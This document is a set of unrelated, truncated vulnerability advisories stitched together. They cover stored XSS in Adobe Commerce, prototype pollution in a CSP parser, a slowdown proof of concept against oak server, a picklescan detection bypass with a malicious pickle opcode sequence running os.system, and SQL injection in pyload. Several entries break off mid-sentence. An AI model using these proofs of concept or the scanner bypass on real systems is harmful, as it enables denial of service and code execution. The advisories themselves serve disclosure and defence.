Adobe Commerce versions 2.4.9-alpha1, 2.4.8-p1, 2.4.7-p6, 2.4.6-p11, 2.4.5-p13, 2.4.4-p14 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be exploited by a low-privileged attacker to inject malicious scripts into vulnerable form fields. These scripts may be used to escalate privileges within the application or compromise sensitive user data. Exploitation of this issue requires user interaction in that a victim must browse to the page containing the vulnerable field. Scope is changed.

### Impact A prototype pollution vulnerability exists in versions 0.5.0 and earlier, wherein if you provide a policy name called `__proto__` you can override the Object prototype. For example: ``` const parse = require('content-security-policy-parser'); const x = parse("default-src 'self'; __proto__ foobar"); console.log('raw print:', x); console.log('toString:', x.toString()); ``` Outputs: ``` raw print: Array { 'default-src': [ "'self'" ] } toString: foobar ``` Whilst no gadget exists in this library, it is possible via other libraries expose functionality that enable RCE. It is customary to label prototype pollution vulnerabilities in this way. The most common effect of this is denial of service, as you can trivially overwrite properties. As the content security policy is provided in HTTP queries, it is incredibly likely that network exploitation is possible. ### Patches There has been a patch implemented a year ago (11 Feb 2024), but low uptake of patched versions has not b...

**According to the CVSS metric, user interaction is required (UI:R). What interaction would the user have to do?** Exploitation of this vulnerability requires that a user trigger the payload in the application.

### Summary With specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers, it's possible to significantly slow down an oak server. ### Vulnerable Code - https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87 - https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142 ### PoC - setup ``` deno --version deno 2.4.3 v8 13.7.152.14-rusty typescript 5.8.3 ``` - `server.ts` ```ts import { Application } from "https://deno.land/x/oak/mod.ts"; const app = new Application({proxy: true}); let i = 1 app.use((ctx) => { // let url = ctx.request.url // test1) x-forwarded-proto let ips = ctx.request.ips // test2) x-forwarded-for console.log(`request ${i} received`) i++; ctx.response.body = "hello"; }); await app.listen({ port: 8080 }); ``` - `client.ts` ```ts const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000] const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A'); const data2 = lengths.map(l => 'A' + ' '.repeat(l) + '...

### Details There's a parsing logic error in picklescan and modelscan while trying to deal with opcode `STACK_GLOBAL`. Function `_list_globals` when handling `STACK_GLOBAL` at position `n`, it is expected to track two arguments but in wrong range. The loop only consider the range from `1` to `n-1` but forgets to consider the opcode at position `0`. The correct range should be `0` to `n-1`. Attacker can put arg in position `0`, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions. Example: ``` 0: S STRING 'os' --> arg 0: STRING (untracked argument due to wrong scanning range) 6: S STRING 'system' --> arg 1: STRING (tracked argument) 16: \x93 STACK_GLOBAL 17: S STRING 'ls' 23: \x85 TUPLE1 24: R RE...

### Summary The parameter `add_links` in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage. ### Details - Affected file：https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271 - Affected code: ```python @style.queue def update_link_info(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) ids = [] statuses = "','".join(x[3] for x in data) self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')") for r in self.c: ids.append(int(r[0])) return ids ```` statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because `{statuses}` is directly spliced into th...
